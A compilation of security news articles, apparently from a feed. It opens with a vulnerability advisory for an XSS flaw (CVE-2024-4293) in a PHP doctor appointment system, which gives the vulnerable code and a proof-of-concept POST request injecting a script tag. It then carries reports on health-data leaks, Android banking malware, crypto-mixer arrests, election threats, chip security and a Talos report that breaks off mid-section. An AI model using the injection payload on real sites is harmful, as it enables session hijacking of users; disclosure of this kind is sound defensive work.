Doctor Appointment Management System version 1.0 suffers from a cross site scripting vulnerability.

# Application Name: Doctor Appointment Management System  
# Software Link: [Download Link](https://phpgurukul.com/doctor-appointment-management-system-using-php-and-mysql/)  
# Vendor Homepage: [Vendor Homepage](https://phpgurukul.com/)  
# BuG: XsS  
# BUG_Author: SoSPiro  
# Version: 1.0  
# CVE: CVE-2024-4293

### Vulnerable code section:

- `http://localhost/Doctor-Appointment-System_PHP/dams/doctor/appointment-bwdates.php`  
- **`Lines 57-61`**

- Parameter `$fdate=$_POST['fromdate'];` and `$tdate=$_POST['todate']`

 ```php  
<?php  
$fdate=$_POST['fromdate'];  
$tdate=$_POST['todate'];  
?>  
<h5 align="center" style="color:blue">Report from <?php echo $fdate?> to <?php echo $tdate?></h5>

```  
- The lack of proper validation and sanitization of user input allows for potential Cross-Site Scripting (XSS) attacks.

### Vulnerability Description:

- The Doctor Appointment Management System is susceptible to a Cross-Site Scripting (XSS) vulnerability. This vulnerability allows attackers to inject malicious scripts into web pages viewed by other users.

### Proof of Concept (PoC)

- Poc Video : [Video Link](https://drive.google.com/file/d/1X7OPM1_Sb-xeIZO8ZdXekLtinUqzVdLx/view?usp=sharing)

- Poc Video2: [Video Link](https://drive.google.com/file/d/1V6TP9ecAGUbsLvupE_7aQ8lkn_h5Jm18/view?usp=sharing)

```http

POST /Doctor-Appointment-System_PHP/dams/doctor/appointment-bwdates-reports-details.php HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate, br  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 60  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/Doctor-Appointment-System_PHP/dams/doctor/appointment-bwdates.php  
Cookie: PHPSESSID=n8jjbs917jtj52rags5p7ll9ff  
Upgrade-Insecure-Requests: 1  
Sec-Fetch-Dest: document  
Sec-Fetch-Mode: navigate  
Sec-Fetch-Site: same-origin  
Sec-Fetch-User: ?1  
X-PwnFox-Color: blue

fromdate=<script>alert(1)</script>&todate=2024-04-18&submit=

```

- In this POST request, an attacker has included a script tag in the "fromdate" and "todate" field:

`<script>alert(1)</script>`

- Upon successful exploitation, an alert box containing the text "1" will be displayed on the victim's browser, indicating that the XSS vulnerability has been successfully exploited.

### Impact:

- The impact of this vulnerability is significant. Attackers can exploit it to execute arbitrary JavaScript code within the context of the affected web page. This could lead to various malicious activities such as session hijacking, phishing attacks, or defacement of the website.

### Reproduce:

- [ -vuldb.com- ](https://vuldb.com/?id.262225)

- [  -cve.org- ](https://www.cve.org/CVERecord?id=CVE-2024-4293)

- [ -github- ](https://github.com/Sospiro014/zday1/blob/main/doctor_appointment_management_system_xss.md)

- [ -github2- ](https://github.com/Sospiro014/zday1/blob/main/doctor_appointment_management_system_xss2.md)

Doctor Appointment Management System 1.0 Cross Site Scripting

Health insurance giant Kaiser has announced it will notify millions of patients that it shared their data with advertisers.

Health insurance giant Kaiser has announced it will notify millions of patients about a data breach after sharing patients’ data with advertisers.

Kaiser said that an investigation led to the discovery that “certain online technologies, previously installed on its websites and mobile applications, may have transmitted personal information to third-party vendors.”

In the required notice with the US government, Kaiser lists 13.4 million affected individuals. Among these third-party ad vendors are Google, Microsoft, and X. Kaiser said it subsequently removed the tracking code from its websites and mobile apps.

A tracking pixel is a piece of code that website owners can place on their website. The pixel collects data that helps businesses track people and target adverts at them. That’s nice for the advertisers, but the information gathered by these pixels tells them a lot about your browsing behavior, and a lot about you.

This kind of data leak normally happens when a website includes sensitive information in its URLs (web addresses). The URLs you visit are shared with the company that provides the tracking pixel, so if the URL contains sensitive information it will end up in the hands of the tracking company. The good news is that while it’s easy for websites to leak information like this, there is no suggestion that tracking pixel operators are aware of it, or acting on it, and it would probably be hugely impractical for them to do so.

The leaked data includes member names and IP addresses, as well as information that could indicate if members were signed into a Kaiser Permanente account or service, how they interacted with it, how they navigated through the website and mobile applications, and what search terms they used in the health encyclopedia.

A spokesperson said that Kaiser intends to begin notifying the affected current and former members and patients who accessed its websites and mobile apps in May.

Not so long ago, we reported how mental health company Cerebral failed to protect sensitive personal data, and ended up having to pay $7 million. Also due to tracking pixels, so this is a recurring problem we are likely to see lots more of. Research done by TheMarkup in June of 2022 showed that Meta’s pixel could be found on the websites of 33 of the top 100 hospitals in America.

Malwarebytes has a new free tool for you to check how much of your personal data has been exposed online. Submit your email address (it’s best to give the one you most frequently use) to our free Digital Footprint scan and we’ll give you a report and recommendations.

 Kaiser health insurance leaked patient data to advertisers 

By Deeba Ahmed
New Android malware alert! Brokewell steals data, takes over devices & targets your bank. Learn how this sneaky malware works & what you can do to protect yourself. Stop Brokewell before it stops you!
This is a post from HackRead.com Read the original post: Fake Chrome Updates Hide Android Brokewell Malware Targeting Your Bank

Brokewell malware poses a new cybersecurity threat to your device and personal information. Unlike your typical data-stealing app, Brokewell takes it a step further by granting attackers near-complete control of your phone.

In their report, fraud risk firm ThreatFabric’s threat intelligence researchers shared details of a newly discovered Android banking malware dubbed Brokewell, which uses overlay attacks to capture user credentials and steal cookies.

Further probing revealed a repository called “Brokewell Cyber Labs,” created by an individual “Baron Samedit.”  This repository hosted the source code for the “Brokewell Android Loader,” a tool designed to bypass Android 13+ accessibility restrictions and widely used by cybercriminals.

Brokewell has previously been used in campaigns targeting “buy now, pay later” financial services like Klarna and in exploiting the Austrian digital authentication application, ID Austria.

****Fake Updates, Real Danger****

Brokewell hides behind a familiar facade – fake software updates. It typically masquerades as a critical update for Google Chrome, tricking users into downloading and installing it. Once installed, Brokewell unleashes its wrath as it isn’t just after your login credentials. It’s a comprehensive toolkit for conducting a wide-scale data theft. 

Fake Chrome browser update as seen by ThreatFabric

The trojan uses its own WebView to load a legitimate website and dumps session cookies after the victim completes the login process. Brokewell also has “accessibility logging” capabilities, capturing every event on the device, posing a threat to all installed applications.

****What Information is at Stake?****

Brokewell can steal a wide range of information, including call logs, text messages, and contact lists. Moreover, it looks for your financial apps and if found, it overlays fake login screens on top of legitimate banking apps, capturing your login details without you realizing it.

The most problematic part is that Brokewell grants attackers remote access to your device. It supports spyware functionalities, collecting device information, geolocation, and recording audio. After stealing credentials, the actors can initiate a Device Takeover attack using remote control capabilities.

****An Evolving Threat****

In their blog post, ThreatFabric researchers warned that althoughBrokewell is under active development, the malware’s creators are constantly adding new features to enhance its capabilities.

To protect yourself from Brokewell and other malicious software, download apps from the official Google Play Store only.  Be cautious of fake updates and always use a reputable security app. Staying updated on the latest Android security threats is crucial to protect your device.

****Experts’ Opinion****

Ray Kelly, Fellow from Synopsys Software Integrity Group shared their thoughts on Brokewell’s discovery with Hackread.com stating, _“_As a policy, users should never install apps outside of the Google and Apple stores as Malware often sneaks in through ‘side loading’ apps, especially on rooted or jailbroken devices from fake stores._“_

“What makes this instance different is that the malicious app sideloaded on non-rooted devices and bypassed Google’s security measures,” stressed Ray. _“_The key takeaway is don’t fall for web popups prompting app updates; always rely on the Play Store for updates to safeguard against such threats._“_

1.  Android TV Boxes Infected with Backdoors
2.  SpyNote Android Spyware Poses as Legit Crypto Wallets
3.  Fake YouTube Android Apps Used to Distribute CapraRAT
4.  Xamalicious Backdoor Infects 25 Apps, Affects 327K Devices
5.  Android Malware FjordPhantom Steals Funds Via Virtualization

Fake Chrome Updates Hide Android Brokewell Malware Targeting Your Bank

Plus: Google holds off on killing cookies, Samourai Wallet founders get arrested, and GM stops driver surveillance program.

Controversial gunshot-detection company ShotSpotter has deployed more than 25,000 microphones across 170 cities worldwide. This week, WIRED and _South Side Weekly_ revealed the company may continue to provide gunshot data to police in cities even after contracts have ended. Internal emails seen by the publications suggest ShotSpotter sensors may have stayed online despite law enforcement deals having expired, raising questions about what will happen to 2,500 microphones in Chicago when its contract runs out at the end of the year.

Elsewhere, Change Healthcare finally admitted to paying a ransom to the AlphV hackers, also known as BlackCat, that extorted the medical company. Weeks ago, WIRED revealed the attackers were paid $22 million, one of the largest ransomware payments ever. However, in a statement this week the company admitted for the first time that it paid the ransom as part of its effort “to do all it could to protect patient data from disclosure.” Some of that data still found its way onto the dark web.

In another successful grift, researchers have found animators in North Korea creating artwork for major Hollywood studios. A misconfigured North Korea cloud server, discovered at the end of last year, contained thousands of animation files, notes, and working documents for productions of shows that stream on Amazon Prime Video and Max. The companies likely didn’t know workers from the Hermit Kingdom were creating the artwork, but it’s another example of how North Korea is using skilled workers to circumvent sanctions and make the regime money.

Meanwhile, Cisco revealed this week that some of its devices, called Adaptive Security Appliances, have been targeted by state-sponsored hackers who exploited two zero-day vulnerabilities in the systems. The attack, dubbed ArcaneDoor, is believed to have had an espionage focus and sources suspect China’s state-backed hackers may be the culprits.

The November presidential elections may still be months away, but the next US president will have increased surveillance capabilities. This week Joe Biden signed a controversial bill extending and enhancing Section 702 of the Foreign Intelligence Surveillance Act. FISA allows spy agencies to collect Americans’ calls, emails, and more when pursuing foreign intelligence. Critics say the changes are “a gift to any president who may wish to spy on political enemies.”

That’s not all. Each week, we round up the security and privacy news we didn’t cover in depth ourselves. Click the headlines to read the full stories. And stay safe out there.

**School Principal Framed Using AI Voice Deepfake**

In January, an Instagram account in Baltimore, Maryland, posted an alleged audio recording of local school principal Eric Eiswert making racist and antisemitic comments. Baltimore County Public Schools quickly opened an investigation into the incident. However, this week, a former athletic director at Pikesville High School was arrested after police said he used artificial intelligence software to create the fake audio clip of Eiswert. The audio included comments about “ungrateful Black kids” and disparaging remarks about the Jewish community.

Dazhon Darien, the former staff member, was arrested after being stopped in possession of a gun at an airport when officials saw there was an outstanding arrest warrant, the _Baltimore Banner_ reported. The media organization reports that Darien was charged with disrupting school activities and stalking. The fake clip was allegedly made in retaliation for the principal investigating Darien over irregular payments to his roommate.

Police reports, the _Banner_ says, indicate that the audio clip had a “profound” impact on the school principal. “It not only led to Eiswert’s temporary removal from the school but also triggered a wave of hate-filled messages on social media and numerous calls to the school,” police reports said.

Voice-cloning technology, which can fall under the broader banner of deepfake technology, has rapidly improved within the last year. Cloning tools can recreate someone’s voice to a relatively realistic level using just a few seconds of real audio. The systems have increasingly been used to impersonate politicians and scam people over the phone.

**General Motors Stops Driving Surveillance, Following Privacy Complaints**

Your car knows a lot about you—from where and how you drive, to your weight and how you sit. This week, following a series of revelations from _New York Times_ reporter Kashmir Hill, General Motors announced it will end its “Smart Driver” program and unenroll all customers. Until the reports from the _Times_, GM was sharing data with data brokers LexisNexis and Verisk, which shared it with insurers and led to high payments for some people. The OnStar Smart Driver program had been designed to promote safer driving, GM said. However, many people were not aware they had been enrolled in the system. Ten lawsuits have been filed so far about the Smart Driver program and how it shared data.

**Google Delays Killing Cookies—Again**

In January 2020, Google said it would remove third-party cookies from Chrome within two years—following Safari, Brave, Firefox, and other browsers in eradicating the tracking technology. It’s now April 2024 and the company has delayed the change for a third time, saying it’ll happen in 2025. Google’s proposed cookie replacement has faced scrutiny from competition and privacy regulators in the UK, with critics saying cookies are just being replaced by another form of tracking and suggesting the changes could further benefit Google’s ad business.

**Samourai Wallet Founders Arrested Over $2 Billion Unlawful Transactions**

Keonne Rodriguez and William Lonergan Hill, the founders of crypto-mixing service Samourai Wallet, were charged by US prosecutors this week for running an unlicensed money transfer business and conspiracy to commit money laundering. The company processed $2 billion in “unlawful transactions” and “facilitated more than $100 million in money laundering,” according to Damian Williams, the United States Attorney for the Southern District of New York, and other investigators. The charges can carry a maximum of 20 years each. The move comes as US prosecutors try to clampdown on crypto mixing services that may be used to hide funds or allow illicit behavior. Mixers Bitcoin Fog, Helix, and Tornado Cash have all faced action in recent years.

**Chinese Keyboard Vulnerabilities Could Reveal Typing**

New research from the University of Toronto’s Citizen Lab this week revealed vulnerabilities in eight Chinese keyboard apps that, if exploited, could allow everything typed to be intercepted. Up to a billion people may be impacted, the researchers say. They tested apps from major technology companies and phone makers, including Baidu, Honor, Huawei, Samsung and Tencent. “Most of the vulnerable apps can be exploited by an entirely passive network eavesdropper,” they researchers write, adding that most of the impacted companies fixed the vulnerabilities when they were reported.

School Employee Allegedly Framed a Principal With Racist Deepfake Rant

The semiconductor manufacturing giant's security team describes how hardware hackathons, such as Hack@DAC, have helped chip security by finding and sharing hardware vulnerabilities.

Source: kawin ounprasertsuk via Alamy Stock Photo

Ever since the first Hack@DAC hacking competition in 2017, thousands of security engineers have helped discover hardware-based vulnerabilities, develop mitigation methods, and perform root cause analysis of issues found.

Intel initially decided to organize the competition, which draws security professionals from academia and industry partners around the world, to raise awareness about hardware-based vulnerabilities and to promote the need for more detection tools, says Arun Kanuparthi, a principal engineer and offensive security researcher at Intel. Another goal behind Hack@DAC, capture-the-flag competitions, and other hackathonsis to draw the attention of chip designers, to motivate them to design silicon more securely, he says.

"There is very little awareness of hardware security weaknesses in general," says Kanuparthi, who spoke about lessons Intel learned from years running Hack@DAC at the recent Black Hat Asia conference in Singapore. "And we thought, really, how can we get this awareness amongst the security research community?"

"If you look at software, there are lots of tools for security, with software or firmware, but when you look at hardware, there are really only a handful of EDA or electronic design automation tools," Kanuparthi says.

These kinds of events are effective for bringing people together to find vulnerabilities and share their knowledge. CTFs are established methods for teaching and learning new skills and best practices. Intel also believes it is important to give students "an experience of what it feels like to be a security researcher at a design company," says Kanuparthi.

Intel is now accepting entries for the 2024 Hack@DAC, which will take place in June in San Francisco.

**Tackling Hard Problems**

When Intel first organized Hack@DAC, there was no standard design or open-source platform for discovering or sharing information on hardware vulnerabilities, says Hareesh Khattri, a principal engineer for offensive security research at Intel. That has changed with Intel’s collaboration with Texas A&M University and Technical University of Darmstadt in Germany. The professors and students took open-source projects and inserted existing hardware vulnerabilities to create a common framework for detecting them and new ones.

"And now a lot of hardware security research papers have also started citing this work," Khattri says.

In 2020, Intel joined other semiconductor manufacturers in aligning with MITRE’s Common Weakness Enumeration (CWE) team, which lists and classifies potential vulnerabilities in software, hardware and firmware to bring more focus to hardware.  It was an attempt to address a gap, since MITRE only maintained software weakness types, and CWE fell short of addressing root cause analyses of hardware vulnerabilities, Kanuparthi recalls.

"If a hardware issue was identified, \[the CWE\] would be tagged with some generic catch-all kind of \[alert that said\] there’s a problem or the system does not work as expected," Kanuparthi says. "But now there is a design view for hardware which you can root cause that this is specifically the problem. And that has largely been the output of some of the work that we have been doing that led to hack attack and the creation of the hybrid CWE."

As semiconductor manufacturers accelerate their focus on adding designs that can support new AI capabilities, security researchers are looking to identify weaknesses even closer to hardware design, Khattri adds. That has accelerated interest in new efforts like the Google-contributed OpenTitan Project, an open-source reference design and integration guidelines for securing root of trust RoT chips.

The efforts behind Hack@DAC and Intel’s work with MITRE on CWE have led to improved tooling, Khattri says. For example, hardware vulnerability assessment tool provider Cycuity (which uses OpenTitan as a benchmark for how its tool measures CWEs) claims its Radix can now identify 80% of known hardware weaknesses in the CWE database.

"We’ve seen a lot of progression in this space compared to when we started it," Khattri says. "Now, a lot of security research communities’ focus has gone towards trying to identify weaknesses that are closer to the hardware design."

**About the Author(s)**

Jeffrey Schwartz is a journalist who has covered information security and all forms of business and enterprise IT, including client computing, data center and cloud infrastructure, and application development for more than 30 years. Jeff is a regular contributor to Channel Futures. Previously, he was editor-in-chief of Redmond magazine and contributed to its sister titles Redmond Channel Partner, Application Development Trends, and Virtualization Review. Earlier, he held editorial roles with CommunicationsWeek, InternetWeek, and VARBusiness. Jeff is based in the New York City suburb of Long Island.

Intel Harnesses Hackathons to Tackle Hardware Vulnerabilities

By Waqas
The official website of Samourai Wallet has been seized, while its official app on the Apple Store and Google Play has been removed.
This is a post from HackRead.com Read the original post: Feds Bust Privacy-Centric Samourai Wallet Over BTC Money Laundering

The United States has taken down the popular “privacy-focused” Bitcoin wallet Samourai, arresting founders and accusing them of laundering $2 billion in crypto, including dark web funds.

The US Department of Justice has arrested the founders of Samourai Wallet, a popular Bitcoin wallet marketed for its strong privacy features. Keonne Rodriguez and William Lonergan Hill now face charges of conspiracy to commit money laundering and operating an unlicensed money transmitting business.

The seized website of the Samourai Wallet (Screenshot: Hackread.com)

Samourai Wallet, known for its “Whirlpool” and “Ricochet” anonymization tools, had long attracted users seeking enhanced privacy for their Bitcoin transactions. However, the DOJ alleges that this cover of secrecy facilitated a staggering amount of illicit activity.

According to the indictment, Samourai allegedly processed over $2 billion in transactions, with at least $100 million originating from illegal dark web marketplaces like Silk Road and Hydra Market.

“For almost 10 years, Keonne Rodriguez and William Hill allegedly operated a mobile cryptocurrency mixing platform which provided other criminals a virtual haven for the clandestine exchange of illicit funds, the facilitation of more than $2 billion in illegal transactions, and $100 million in dark web money laundering,” stated FBI Assistant Director in Charge James Smith. “The FBI is committed to exposing covert financial schemes and ensuring no one can hide behind a screen to perpetuate financial wrongdoing.”

The indictment further accuses Rodriguez and Hill of profiting from these alleged illegal transactions. Samourai allegedly generated millions in fees through its services, raising questions about the company’s true mission.

The takedown of Samourai Wallet has sent shivers down the spines of privacy-focused crypto enthusiasts. Some argue that the ability to conduct anonymous transactions is a core principle of cryptocurrency, essential for protecting users from financial surveillance. Others, however, see the case as validating concerns that criminals can exploit anonymity tools.

The outcome of this case is likely to have a lasting impact on the cryptocurrency industry. It could lead to increased scrutiny of privacy-focused technologies and potentially stricter regulations for cryptocurrency exchanges and wallets.

In the meantime, Samourai Wallet’s website has been seized, and their mobile application is expected to be removed from app stores. Whether Rodriguez and Hill will be found guilty remains to be seen, their arrest goes on to show the the potential consequences for those who operate in the restricted areas of cryptocurrency and anonymity.

1.  Crypto tumbler BestMixer.io seized for money laundering
2.  New Dark Web Market Styx: Focuses on Money Laundering
3.  Android Money Transfer XHelper App was Laundering Money
4.  DeepDotWeb admin pleads guilty to money laundering, kickbacks
5.  2 Russians charged in Mt. Gox Bitcoin heist, BTC-e money laundering
6.  US Blacklists Tornado Cash, GitHub Removes Co-Founder in Response

Feds Bust Privacy-Centric Samourai Wallet Over BTC Money Laundering

Hackers can influence voters with media and breach campaigns, or try tampering with votes. Or they can combine these tactics to even greater effect.

Source: Lennart Worthmann via Alamy Stock Photo

If history has anything to tell us, the most significant cyber threat to this year's elections won't be a leak, a distributed denial-of-service (DDoS) attack, or a fake news video. Instead, it will be some combination of these or more.

In cyberspace's salad days, hackers caused all kinds of fuss using simple, direct methods: hiding viruses in advertisements, hacking websites with easily guessed passwords, and so on. While that still happens, attackers often have to get more creative by chaining multiple tactics together in order to achieve their goals, thanks to greater cybersecurity awareness and protections.

So too with elections. In 2006, aides to Joe Lieberman's presidential campaign had to resort to their personal emails when a DoS attack froze their IT systems. A decade later, famously, came the Podesta email leak. Now, according to Mandiant, part of Google Cloud, the most potent threats to the democratic process are chained attacks.

"In the most significant cyber incidents targeting elections that Mandiant has tracked, threat actors have deliberately layered multiple tactics in hybrid operations in such a way that the effect of each component magnifies the others," the firm wrote in a new report.

**Combination Election Attacks**

One case study Mandiant pointed to occurred in 2014 when Ukraine's presidential elections were interrupted by a Russian cyber onslaught, following the ouster of its pro-Russian president Viktor Yanukovich, and Russia's invasion of Crimea.

A week before election day, Russian actors hiding behind the hacktivist moniker "Cyber Berkut" struck websites relating to NATO and Ukrainian media outlets with DDoS attacks. That set the stage for when, with four days to go, the same fake hacktivist group broke into the country's central election computers and deleted files and rendered the vote tallying system inoperable.

A day later, they added to the chaos by breaking more election infrastructure, then leaking the emails and documents stored there to the wider Internet. Lastly, just 40 minutes before election results were to be broadcast to the public, the country's Central Election Commission reportedly removed some kind of virus that was designed to present fake results in favor of the far-right, ultra-nationalist candidate.

This extreme brand of combination cyber warfare might have only happened in a country experiencing such upheaval, but other chained cyberattacks have struck more-stable democracies since.

In 2020, two 20-something Iranian nationals carried out a campaign against multiple US states' voting-related websites. They managed to obtain confidential voter information from at least one of them, which they used to send intimidating and misleading emails, including by spreading a video with disinformation about election infrastructure vulnerabilities. They also breached one media company, which, as the Department of Justice noted, could have provided them another channel through which to disseminate their false claims.

"Leaks are particularly powerful. Potentially more powerful when boosted through the compromise of legitimate media," says John Hultquist, chief analyst with Mandiant Intelligence at Google Cloud.

The breach/fake news ploy is a potent concoction. "These disinformation efforts are often orchestrated by state-backed entities from nations such as China, Russia, and Iran," warns Madison Horn, herself a 2024 candidate running for a congressional seat in Oklahoma's 5th district. "Their impact is undeniable, as seen in instances like Russia’s involvement in the 2016 US election and China’s ongoing global influence operations, which starkly demonstrate their capacity to sway public opinion and disrupt electoral integrity."

**The Threat From Cybercrime**

It's not only state-sponsored actors that pose a threat to the democratic process, Mandiant noted. Insiders, hacktivists, and cybercriminals all muddy the waters in their own ways.

In most cases, "The avenues for these campaigns are popular social media platforms — X, Telegram, Facebook — and YouTube, making the digital battlefield as accessible as it is dangerous," Horn warns.

From January 2023 to March 2024, the cybersecurity firm BrandShield tracked suspicious new social media accounts and web domains relating to Joe Biden's and Donald Trump's presidential campaigns. It found hundreds of imposter accounts across social media sites, as well as 2,335 suspect websites claiming some sort of affiliation with the president and 9,639 for the former president (helped by a 197% boost following his arrest in August).

Fake Trump site. Source: BrandShield

Fake sites and accounts are useful for spreading scams or malware and for stealing funds that voters intended to go to candidates, or they can be used in concert with other tactics to achieve greater ends.

"They can be used to get people's information, and maybe try to influence their views by distributing fake news," says BrandShield CEO Yoav Keren, formerly an adviser in the Israeli Knesset. "I would even think that they can use these platforms to interact with real people from the campaigns, to infiltrate their systems. These impersonations can be used in a lot of different ways."

"I don't want to give too many good ideas to the bad guys," he says, "but they usually come up with them before I do."

**About the Author(s)**

Nate Nelson is a freelance writer based in New York City. Formerly a reporter at Threatpost, he contributes to a number of cybersecurity blogs and podcasts. He writes "Malicious Life" -- an award-winning Top 20 tech podcast on Apple and Spotify -- and hosts every other episode, featuring interviews with leading voices in security. He also co-hosts "The Industrial Security Podcast," the most popular show in its field.

The Biggest 2024 Elections Threat: Kitchen-Sink Attack Chains

Caliptra 1.0 offers a blueprint for integrating security features directly into microprocessors.

Source: Alexmillos via Alamy Stock Vector

A consortium of top chip makers have finalized the first version of Caliptra, a specification to add zero-trust security features directly inside silicon.

The Caliptra 1.0 specification has hardware and software blocks providing multiple protection layers for encrypted data on chips.

"We believe Caliptra is a foundational aspect to the future of confidential computing and couldn't be more excited to reach our 1.0 milestone," says Andrés Lagar-Cavilla, a distinguished engineer at Google. Caliptra is currently being integrated by companies across the ecosystem into chips that will start to appear in the market in 2026.

Security-focused hardware exists, but usually as separate components on the hardware. At the moment, chips typically access security features that are available as separate hardware components on the motherboard. The Caliptra specification provides a blueprint to embed the security features into the chip instead of accessing those hardware cores.

For example, the Trusted Platform Module (TPM), which is required on all machines running Windows 11, is a secure processor carrying out cryptographic functions, such as Windows Hello authentication and BitLocker drive encryption. Caliptra could make possible an on-silicon version of TPM.

The specification was built around the concept of confidential computing, an emerging technology focused on building walls to protect data and programs during storage, transport, and execution. Users and code are verified before being allowed to enter the secure area, after which they can run programs.

**Caliptra-Spec Chips on the Way?**

The Caliptra specification aims to fend off cyberattacks and protect from vulnerabilities, such as Meltdown and Spectre, which exposed confidential user data to hackers.

Caliptra's protection layers on silicon include a root-of-trust block, in which code, users, and firmware are isolated, verified, and authenticated. The spec extends to protecting firmware and ROMs. The root-of-trust layer also detects and recovers data that may be corrupted.

The specification is now available for tape-in, which means it is also ready for testing for chips that may be going into production. Google's Lagar-Cavilla says the company is actively integrating Caliptra in first-party silicon designs and collaborating with suppliers to ensure their system-on-chips — across CPUs, GPUs, DPUs, BMCs, SSDs, and more — include Caliptra.

Caliptra is an open source technology, so chip makers can adopt and modify it for free.

A company called Antmicro is developing a Caliptra-based security core for an emerging chip architecture called RISC-V. The technology is an alternative to the dominant x86 and ARM instruction set architectures. RISC-V has a modular design that makes it easier to include technologies like Caliptra in production-level silicon.

Google is a lead developer of Caliptra, working alongside Advanced Micro Devices, Microsoft, Marvell, and NVIDIA. The Linux Foundation's CHIPS Alliance is managing the development of the specification.

Intel is one of the big names in chips missing from the group of companies developing Caliptra. Intel is pushing its own on-chip security technology to protect user data and chips from hackers.

**About the Author(s)**

Agam Shah has covered enterprise IT for more than a decade. Outside of machine learning, hardware, and chips, he's also interested in martial arts and Russia.

Chip Giants Finalize Specs Baking Security Into Silicon

By Waqas
Using Google Chrome? Update your browser to the latest version right now!
This is a post from HackRead.com Read the original post: Google Patches Critical Chrome Vulnerability and Additional Flaws

Google Chrome users beware! A critical vulnerability (CVE-2024-4058) has been patched in the latest update (version 124). This flaw could allow attackers to take control of your system.

Google addressed a critical vulnerability (CVE-2024-4058) in its Chrome web browser on Wednesday, April 24th, 2024. This flaw resides within the ANGLE graphics layer engine and carries a “critical” severity rating, indicating its potential for severe exploitation.

While the critical CVE-2024-4058 garnered the most attention, Google’s Chrome update (version 124) also patched two additional high-severity vulnerabilities:

*   **CVE-2024-4059:** This vulnerability is classified as an out-of-bounds read within the V8 JavaScript engine. An out-of-bounds read allows attackers to access memory locations they shouldn’t, potentially revealing sensitive information.
*   **CVE-2024-4060:** This vulnerability is a use-after-free issue in the Dawn component. Use-after-free vulnerabilities can lead to crashes or potentially code execution depending on how they are exploited.

****The Importance of Updating****

While the specific details and exploitability of CVE-2024-4059 and CVE-2024-4060 are not yet fully public, it’s important to update Chrome regardless. A high-severity rating suggests these vulnerabilities could also be weaponized by attackers, so patching promptly remains the best course of action.

Jason Soroko, Senior Vice President of Product at Sectigo commented on the update stating, _“_CVE-2024-4058, a Type Confusion in ANGLE, is a vulnerability categorized as critical because it could allow remote code execution (RCE), enabling attackers to put malware onto the victim’s device. This latest vulnerability is a bad one for sure, and therefore it would be critical to patch this immediately._”_

****How to Protect Yourself****

The safest course of action is to update your Google Chrome browser immediately. Google has released Chrome version 124 which addresses this vulnerability alongside other security fixes. Here’s how to update Chrome:

*   **Windows & Mac:** Open Chrome, click the three vertical dots in the top right corner, go to “Help” and then “About Chrome.” Chrome will automatically check for updates and install them if available.
*   **Linux:** The update process for Linux may vary depending on your distribution. Consult your distribution’s documentation for specific update instructions.

Updating to Chrome version 124 protects you from these critical, high-severity, and potentially dangerous vulnerabilities. For additional technical details and a full list of changes in this build visit the Log section.

1.  Critical Chrome Update Counters Spyware Vendor’s Exploits
2.  Google Chrome to Mask User IP Addresses to Protect Privacy
3.  Fake Chrome Browser Update Installs NetSupport Manager RAT
4.  CISA Warns of Chrome and Excel Parsing LibraryExploitable Flaws
5.  Fantom Foundation Suffers Wallet Hack Via Google Chrome 0-Day

Google Patches Critical Chrome Vulnerability and Additional Flaws

Within BEC attacks, adversaries will send phishing emails appearing to be from a known or reputable source making a valid request, such as updating payroll direct deposit information.

Thursday, April 25, 2024 08:00

Business email compromise (BEC) was the top threat observed by Cisco Talos Incident Response (Talos IR) in the first quarter of 2024, accounting for nearly half of engagements, which is more than double what was observed in the previous quarter.  

The most observed means of gaining initial access was the use of compromised credentials on valid accounts, which accounted for 29 percent of engagements. The high number of BEC attacks likely played a significant role in valid accounts being the top attack vector this quarter. Weaknesses involving multi-factor authentication (MFA) were observed within nearly half of engagements this quarter, with the top observed weakness being users accepting unauthorized push notifications, occurring within 25 percent of engagements.  

There was a slight decrease in ransomware this quarter, accounting for 17 percent of engagements. Talos IR responded to new variants of Phobos and Akira ransomware for the first time this quarter. 

Manufacturing was the most targeted vertical this quarter, closely followed by education, a continuation from Q4 2024 where manufacturing and education were also two of the most targeted verticals. There was a 20 percent increase in manufacturing engagements from the previous quarter. 

The manufacturing sector faces unique challenges due to its inherently low tolerance for operational downtime. This quarter, Talos IR observed a wide range of threat activity targeting manufacturing organizations including financially motivated attacks, such as BEC and ransomware, and some brute force activity targeting virtual private network (VPN) infrastructure. The use of compromised credentials on valid accounts was the top observed attack vector within attacks targeting the manufacturing sector this quarter, which represents a change from the previous quarter when the top attack vector observed in these types of engagements was exploiting vulnerabilities in public-facing applications.   

**Watch discussion on the report's biggest trends**

**Surge in BEC **

Within BEC attacks, adversaries will send phishing emails appearing to be from a known or reputable source making a valid request, such as updating payroll direct deposit information. BEC attacks can have many motivations, often financially driven, aimed at tricking organizations into transferring funds or sensitive information to malicious actors.  

BEC offers adversaries the advantage of impersonating trusted contacts to facilitate internal spearphishing attacks that can bypass traditional external defenses and increase the likelihood of deception, widespread malware infections and data theft. 

In one engagement, adversaries performed a password-spraying attack and MFA exhaustion attacks against several employee accounts. There was a lack of proper MFA implementation across all the impacted accounts, leading to the adversaries gaining access to at least two accounts using single-factor authentication. The organization detected and disrupted the attack before adversaries could further their access or perform additional post-compromise activities.    

In another cluster of activity, several employees received spear-phishing emails that contained links that, when clicked, led to a redirection chain of web pages ultimately landing on a legitimate single sign-on (SSO) prompt that was pre-populated with each victim’s email address. The attack was unsuccessful because none of the employees interacted with the email, which was likely due to multiple red flags. For example, the email was unexpected and sent from an external email address, and there was small text within the email that referred to the email as a fax, which was all indicators of a phishing attempt. 

**Ransomware trends **

Ransomware accounted for 17 percent of engagements this quarter, an 11 percent decrease from the previous quarter. Talos IR observed new variants of Akira and Phobos ransomware for the first time this quarter. 

**Akira **

Talos IR responded to an Akira ransomware attack for the first time this quarter in an engagement where affiliates deployed the latest ESXi version, “Akira\_v2,” as well as a Windows-based variant of Akira named “Megazord.” These new Akira variants are written in the Rust programming language, which is a notable change from the previously used C++ and Crypto++ programming languages.  

